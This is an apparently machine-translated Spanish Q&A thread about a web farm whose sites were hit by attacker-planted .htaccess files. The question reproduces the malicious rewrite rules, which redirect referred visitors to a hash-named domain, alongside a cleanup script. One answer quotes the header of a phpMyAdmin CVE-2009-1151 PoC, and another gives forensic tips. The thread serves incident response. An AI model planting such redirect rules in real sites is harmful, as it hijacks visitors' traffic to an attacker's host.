☰

Encontrar la vulnerabilidad del servidor web

tag-icon • tag-icon apache-2.2 security .htaccess hacking vulnerability
Encontrar la vulnerabilidad del servidor web

Operamos una granja de servidores web que aloja alrededor de 300 sitios web.

Ayer por la mañana, un script colocó archivos .htaccess propiedad de www-data (el usuario de Apache)en cada directoriobajo document_root de la mayoría (pero no de todos) los sitios.

El contenido del archivo .htaccess era este:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Al buscar en Google esa URL (que es el hash md5 de "antivirus") descubrí que sucedió lo mismo en Internet y estoy buscando a alguien que ya se haya ocupado de esto y haya determinadodonde está la vulnerabilidad.

He buscado en la mayoría de nuestros registros, pero aún no he encontrado nada concluyente. ¿Hay otras personas que experimentaron lo mismo y que han llegado más lejos que yo en identificar el agujero?

Hasta ahora hemos determinado:

  • los cambios se realizaron como www-data, por lo que apache o sus complementos probablemente sean los culpables
  • Todos los cambios se realizaron con 15 minutos de diferencia entre sí, por lo que probablemente fue automatizado.
  • Dado que nuestros sitios web tienen nombres de dominio muy diferentes, creo que la responsable fue una única vulnerabilidad en un sitio (en lugar de una vulnerabilidad común en todos los sitios).
  • Si ya existía un archivo .htaccess y www-data podía escribirlo, entonces el script fue amable y simplemente agregó las líneas anteriores al final del archivo (lo que facilita su reversión).

Se agradecerían más sugerencias.

==Editar==

Para aquellos que lo necesitan, aquí está el script que utilicé para limpiar los archivos .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

Respuesta1

Hay unexplotarde phpMyAdmin

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' Inyección de código PHP RCE PoC v0.11
# por pagvac (gnucitizen.org), 4 de junio de 2009.
# agradecimiento especial a Greg Ose (labs.neohapsis.com) por descubrir una vulnerabilidad tan interesante,
# y a str0ke (milw0rm.com) por probar este script PoC y brindar comentarios.

# Script PoC probado con éxito en los siguientes objetivos:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 y 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# requisitos de ataque:
# 1) versión vulnerable (¡obviamente!): 2.11.x anterior a 2.11.9.5
# y 3.x anterior a 3.1.3.1 según PMASA-2009-3
# 2)pareceesta vulnerabilidad solo puede explotarse en entornos
# donde el administrador ha elegido instalar phpMyAdmin siguiendo
# elmagométodo, en lugar del método manual:http://snipurl.com/jhjxx
# 3) el administrador NO debe haber eliminado el directorio '/config/'
# dentro del directorio '/phpMyAdmin/'. esto se debe a que este directorio es
# donde '/scripts/setup.php' intenta crear 'config.inc.php' que es donde
# se inyecta nuestro malvado código PHP 8)

# más información sobre:
​​#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

Respuesta2

Dado que el ataque parece haber llegado a través de Apache, haría estas dos cosas:

  1. Revise todos los registros de acceso buscando '.htaccess', es decir, algo como
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Busque en el directorio de inicio de los usuarios apache/httpd/whatever un archivo de historial, a menudo '/var/www' o algo similar.

Esto primero indicará si el usuario web se vio comprometido o si el atacante estaba utilizando la ejecución de un comando arbitrario. También puede dar una (potencial) explicación completa de lo que hizo el atacante. Por tonto que parezca, la mayoría de trucos como este rara vez limpian lo que ensucian y dejan esa evidencia.

Y, por supuesto, si tiene un grupo en su organización que realiza respuesta a incidentes de seguridad o exámenes forenses, podría valer la pena entregarles el equipo antes de comenzar su propio análisis.

información relacionada